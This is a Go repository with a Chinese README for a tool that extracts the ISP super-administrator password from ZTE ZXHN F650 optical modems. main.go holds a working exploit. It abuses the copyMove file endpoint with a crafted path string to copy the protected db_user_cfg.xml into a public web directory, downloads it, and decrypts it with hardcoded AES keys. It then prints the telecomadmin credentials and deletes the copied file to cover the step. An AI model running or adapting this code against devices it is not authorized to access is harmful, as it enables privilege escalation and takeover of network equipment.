├── go.mod ├── README.md └── main.go /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/voidxxl7/ZXHN-F650-PassReader 2 | 3 | go 1.21 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ZXHN-F650-PassReader 2 | 中兴光猫ZXHN F650超管密码获取工具 3 | 4 | 感谢: 5 | 6 | ​ [中兴光猫ZXHN-F650不拆机获取超级密码](https://www.52pojie.cn/thread-999381-1-1.html) 7 | 8 | 9 | 10 | ​ [中兴光猫配置文件db_user_cfg.xml结构分析及解密](https://www.52pojie.cn/thread-1005978-1-1.html) 11 | 12 | 13 | 14 | 链接中提到的获取方法,我测试时在同型号版本的光猫上失败,然后自己捣鼓了下发现在我这里需要用post方式提交参数才行(原帖的使用get就行,评论下测试失败的原因估计就是和我的一样)。 15 | 16 | ~~因为一只蝙蝠的原因,便写了这个玩意,提交时get和post都使用了一遍(原帖作者也写了个工具,不过只是用get方式提交),仅在以下设备型号版本下测试能获取:~~ 17 | 18 | * 设备类型:GPON天翼网关(4口单频) 19 | * 设备型号:ZXHN F650 20 | * 固件版本:V2.0.0P1T1 21 | 22 | 23 | **2023.12摸鱼更新,添加了新的解密方式,理论上支持更多的固件版本,但是没有任何的测试环境,所以行不行我也不知道...** 24 | 25 | _____ 26 | 27 | ##### 使用方法 28 | 29 | 仅适用于Windows和Linux 30 | 31 | 下载: 32 | 33 | 直接运行然后输入普通用户的管理密码即可(默认的密码光猫背面有) 34 | 35 | _____ 36 | 37 | 38 | ##### 命令行下使用 39 | 注意,需要有一定的基础,没有的话建议直接运行就行 40 | ```shell 41 | $ ./ZXHN-F650-PassReader -help 42 | Usage of ./ZXHN-F650-PassReader: 43 | -d 只下载db_user_cfg.xml到当前目录 44 | -f string 45 | 从本地文件中读取并尝试解密 46 | -h string 47 | 光猫登录ip,默认为192.168.1.1(不需要http://) (default "192.168.1.1") 48 | -help 49 | 帮助 50 | -p string 51 | 光猫的管理密码 52 | -u string 53 | 光猫普通用户账号,默认为useradmin (default "useradmin") 54 | ``` 55 | 56 | 登录光猫并输出超管密码 57 | 58 | ```shell 59 | ./F650-PassReader -p 密码 60 | ``` 61 | 62 | 63 | 只下载db_user_cfg.xml到当前目录 64 | ```shell 65 | ./F650-PassReader -p 密码 -d 66 | ``` 67 | 68 | 读取本地的文件解密并保存到新的文件中,成功解密的文件将会保存在db_user_cfg_cbc.xml或者db_user_cfg_aescbc.xml 69 | ```shell 70 | ./F650-PassReader -f db_user_cfg.xml 71 | ``` 72 | 73 | _____ 74 | 75 | #### 编译 76 | 需要golang环境,支持交叉编译 77 | ```shell 78 | # 生成windows可执行文件 79 | CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build . 80 | 81 | # 生成linux可执行文件 82 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build . 83 | ``` -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "compress/zlib" 7 | "crypto/aes" 8 | "crypto/cipher" 9 | "crypto/sha256" 10 | "encoding/binary" 11 | "encoding/json" 12 | "errors" 13 | "flag" 14 | 15 | "fmt" 16 | "io" 17 | "net/http" 18 | "net/url" 19 | "os" 20 | "strings" 21 | ) 22 | 23 | var ( 24 | Host = "http://192.168.1.1" 25 | UrlLogin = Host + "/cgi-bin/luci" 26 | UrlGetToken = Host + "/cgi-bin/luci/" 27 | UrlGetDevInfo = Host + "/cgi-bin/luci/admin/settings/gwinfo?get=all" 28 | UrlExploit = Host + "/cgi-bin/luci/admin/storage/copyMove" 29 | UrlDownCfg = Host + ":8080/db_user_cfg.xml" 30 | UrlDeleteFile = Host + "/cgi-bin/luci/admin/storage/deleteFiles" 31 | ) 32 | 33 | var ( 34 | help bool 35 | host string 36 | username string 37 | password string 38 | downloadOnly bool 39 | cfgFile string 40 | ) 41 | 42 | type F650 struct { 43 | cookie *http.Cookie 44 | token string 45 | isLogin bool 46 | version Version 47 | } 48 | 49 | type Version struct { 50 | DevType string `json:"DevType"` 51 | ProductCls string `json:"ProductCls"` 52 | SWVer string `json:"SWVer"` 53 | } 54 | 55 | type Bytes []byte 56 | 57 | func init() { 58 | flag.BoolVar(&help, "help", false, "帮助") 59 | flag.StringVar(&host, "h", "192.168.1.1", "光猫登录ip,默认为192.168.1.1(不需要http://)") 60 | flag.StringVar(&username, "u", "useradmin", "光猫普通用户账号,默认为useradmin") 61 | flag.StringVar(&password, "p", "", "光猫的管理密码") 62 | flag.BoolVar(&downloadOnly, "d", false, "只下载db_user_cfg.xml到当前目录") 63 | flag.StringVar(&cfgFile, "f", "", "从本地文件中读取并尝试解密,解密后的文件将会保存到新的文件中") 64 | } 65 | 66 | func main() { 67 | flag.Parse() 68 | if help { 69 | flag.Usage() 70 | os.Exit(0) 71 | } 72 | 73 | if len(cfgFile) > 0 { 74 | data, err := os.ReadFile(cfgFile) 75 | if err != nil { 76 | panic(err) 77 | } 78 | decryptAndPrint(data) 79 | decryptAndSaveToFile(data) 80 | 81 | os.Exit(0) 82 | } 83 | 84 | if host != "" { 85 | Host = fmt.Sprintf("http://%s", host) 86 | } 87 | 88 | if len(password) == 0 { 89 | scanner := bufio.NewScanner(os.Stdin) 90 | fmt.Printf("用户名: %s\n", username) 91 | fmt.Printf("密 码: ") 92 | if scanner.Scan() { 93 | password = scanner.Text() 94 | } 95 | } 96 | 97 | pauseIfNoArgs := func () { 98 | if len(os.Args) == 1 { 99 | bufio.NewScanner(os.Stdin).Scan() 100 | } 101 | } 102 | 103 | f, err := login(username, password) 104 | if err != nil { 105 | fmt.Println(err) 106 | pauseIfNoArgs() 107 | os.Exit(1) 108 | } 109 | 110 | f.PrintDevInfo() 111 | f.Exploit() 112 | 113 | cfgData := f.DownConfig() 114 | if downloadOnly { 115 | os.WriteFile("db_user_cfg.xml", cfgData, os.ModePerm) 116 | f.Clear() 117 | os.Exit(0) 118 | } 119 | 120 | decryptAndPrint(cfgData) 121 | f.Clear() 122 | pauseIfNoArgs() 123 | } 124 | 125 | func login(username, psd string) (*F650, error) { 126 | f650 := &F650{} 127 | 128 | client := http.Client{CheckRedirect: func(req *http.Request, via []*http.Request) error { 129 | return http.ErrUseLastResponse 130 | }} 131 | values := url.Values{} 132 | values.Add("username", username) 133 | values.Add("psd", psd) 134 | resp, err := client.PostForm(UrlLogin, values) 135 | if err != nil { 136 | return nil, err 137 | } 138 | if resp.StatusCode == http.StatusFound { 139 | f650.cookie = resp.Cookies()[0] 140 | f650.isLogin = true 141 | } else { 142 | return nil, errors.New("登录失败: 账号或密码错误!") 143 | } 144 | 145 | // 获取token 146 | req, err := http.NewRequest(http.MethodGet, UrlGetToken, nil) 147 | if err != nil { 148 | return nil, err 149 | } 150 | req.AddCookie(f650.cookie) 151 | resp, err = client.Do(req) 152 | if err != nil { 153 | return nil, err 154 | } 155 | tokenBody, err := io.ReadAll(resp.Body) 156 | resp.Body.Close() 157 | if err == nil { 158 | str := string(tokenBody) 159 | index := strings.Index(string(tokenBody), "token") 160 | if index >= 0 { 161 | f650.token = str[index+8 : index+8+32] 162 | } else { 163 | return nil, errors.New("获取token失败!") 164 | } 165 | } else { 166 | return nil, err 167 | } 168 | 169 | // 获取版本 170 | req, _ = http.NewRequest(http.MethodGet, UrlGetDevInfo, nil) 171 | req.AddCookie(f650.cookie) 172 | resp, err = client.Do(req) 173 | if err == nil { 174 | verBody, err := io.ReadAll(resp.Body) 175 | resp.Body.Close() 176 | version := Version{} 177 | if err == nil { 178 | json.Unmarshal(verBody, &version) 179 | f650.version = version 180 | } 181 | } 182 | 183 | fmt.Println("\n登录成功") 184 | return f650, nil 185 | } 186 | 187 | func (f *F650) Exploit() { 188 | values := url.Values{} 189 | values.Add("token", f.token) 190 | values.Add("opstr", "copy|//userconfig/cfg|/home/httpd/public|db_user_cfg.xml") 191 | values.Add("fileLists", "db_user_cfg.xml/") 192 | values.Add("_", "0.5610212606529983") 193 | // 部分设备只能使用post请求,因此这里两种请求都用一次 194 | // Get 195 | Url, _ := url.Parse(UrlExploit) 196 | Url.RawQuery = values.Encode() 197 | req, _ := http.NewRequest(http.MethodGet, Url.String(), nil) 198 | req.AddCookie(f.cookie) 199 | (&http.Client{}).Do(req) 200 | // Post 201 | req, _ = http.NewRequest(http.MethodPost, UrlExploit, strings.NewReader(values.Encode())) 202 | req.AddCookie(f.cookie) 203 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 204 | (&http.Client{}).Do(req) 205 | } 206 | 207 | func (f *F650) DownConfig() []byte { 208 | req, _ := http.NewRequest(http.MethodGet, UrlDownCfg, nil) 209 | resp, err := (&http.Client{}).Do(req) 210 | if err != nil || resp.StatusCode != http.StatusOK { 211 | panic(err) 212 | } 213 | defer resp.Body.Close() 214 | body, _ := io.ReadAll(resp.Body) 215 | return body 216 | } 217 | 218 | func (f *F650) Clear() { 219 | values := url.Values{} 220 | values.Add("token", f.token) 221 | values.Add("path", "//home/httpd/public") 222 | values.Add("fileLists", "db_user_cfg.xml/") 223 | values.Add("_", "0.5610212606529983") 224 | req, _ := http.NewRequest(http.MethodPost, UrlDeleteFile, strings.NewReader(values.Encode())) 225 | req.AddCookie(f.cookie) 226 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 227 | (&http.Client{}).Do(req) 228 | } 229 | 230 | func (f *F650) PrintDevInfo() { 231 | fmt.Println("-----------------------------------------") 232 | fmt.Printf("设备类型:%s\n设备型号:%s\n固件版本:%s\n", 233 | f.version.DevType, f.version.ProductCls, f.version.SWVer) 234 | fmt.Println("-----------------------------------------") 235 | } 236 | 237 | func decryptAndPrint(data []byte) { 238 | { 239 | fmt.Println("CRC") 240 | origin, _ := CRC(data) 241 | user, spwd, _ := readPass(origin) 242 | fmt.Printf("\t超管账号: %s\n", user) 243 | fmt.Printf("\t超管密码: %s\n", spwd) 244 | } 245 | 246 | { 247 | fmt.Println("AESCBC") 248 | origin, _ := AESCBC(data) 249 | user, spwd, _ := readPass(origin) 250 | fmt.Printf("\t超管账号: %s\n", user) 251 | fmt.Printf("\t超管密码: %s\n", spwd) 252 | } 253 | 254 | } 255 | 256 | func decryptAndSaveToFile(data []byte) { 257 | { 258 | origin, err := CRC(data) 259 | if err == nil { 260 | os.WriteFile("db_user_cfg_crc.xml", origin, os.ModePerm) 261 | } 262 | } 263 | 264 | { 265 | origin, err := AESCBC(data) 266 | if err == nil { 267 | os.WriteFile("db_user_cfg_aescbc.xml", origin, os.ModePerm) 268 | } 269 | } 270 | } 271 | 272 | func readPass(data []byte) (username, pwd string, err error) { 273 | index := bytes.Index(data, []byte("telecomadmin")) 274 | if index < 0 { 275 | return "", "", errors.New("似乎不支持你的光猫") 276 | } 277 | index = bytes.Index(data[index:], []byte("val=\"")) + index + len("val=\"") 278 | end := bytes.Index(data[index:], []byte("\"")) + index 279 | return "telecomadmin", string(data[index:end]), nil 280 | } 281 | 282 | func CRC(data []byte) (dData []byte, err error) { 283 | defer func() { 284 | if er := recover(); er != nil { 285 | fmt.Println(er) 286 | dData, err = nil, errors.New("CRC:无法解密") 287 | } 288 | }() 289 | var nextOff, blockSize uint32 = 60, 0 290 | var out bytes.Buffer 291 | for nextOff != 0 { 292 | blockSize = unpackI(data[nextOff+4 : nextOff+8]) 293 | blockData := data[nextOff+12 : nextOff+12+blockSize] 294 | r, err := zlib.NewReader(bytes.NewBuffer(blockData)) 295 | if err != nil { 296 | return nil, err 297 | } 298 | io.Copy(&out, r) 299 | nextOff = unpackI(data[nextOff+8 : nextOff+12]) 300 | } 301 | 302 | return out.Bytes(), nil 303 | } 304 | 305 | func AESCBC(data []byte) (dData []byte, err error) { 306 | defer func() { 307 | if er := recover(); er != nil { 308 | fmt.Println(er) 309 | dData, err = nil, errors.New("AESCBC:无法解密") 310 | } 311 | }() 312 | sign := unpackI(data[4:8]) 313 | key := []byte("8cc72b05705d5c46f412af8cbed55aad")[:31] 314 | iv := []byte("667b02a85c61c786def4521b060265e8")[:31] 315 | if sign != 4 { 316 | key, iv = []byte("PON_Dkey"), []byte("PON_DIV") 317 | } 318 | keyArr, ivArr := sha256.Sum256(key), sha256.Sum256(iv) 319 | key, iv = keyArr[:], ivArr[:16] 320 | block, _ := aes.NewCipher(key) 321 | mode := cipher.NewCBCDecrypter(block, iv) 322 | 323 | var nextOff, blockSize uint32 = 60, 0 324 | var out bytes.Buffer 325 | for nextOff != 0 { 326 | blockSize = unpackI(data[nextOff+4 : nextOff+8]) 327 | blockData := make([]byte, blockSize) 328 | copy(blockData, data[nextOff+12:nextOff+12+blockSize]) 329 | mode.CryptBlocks(blockData, blockData) 330 | out.Write(blockData) 331 | nextOff = unpackI(data[nextOff+8 : nextOff+12]) 332 | } 333 | 334 | return CRC(out.Bytes()) 335 | } 336 | 337 | func unpackI(data []byte) uint32 { 338 | var res uint32 339 | buffer := bytes.NewBuffer(data) 340 | binary.Read(buffer, binary.BigEndian, &res) 341 | return res 342 | } 343 | --------------------------------------------------------------------------------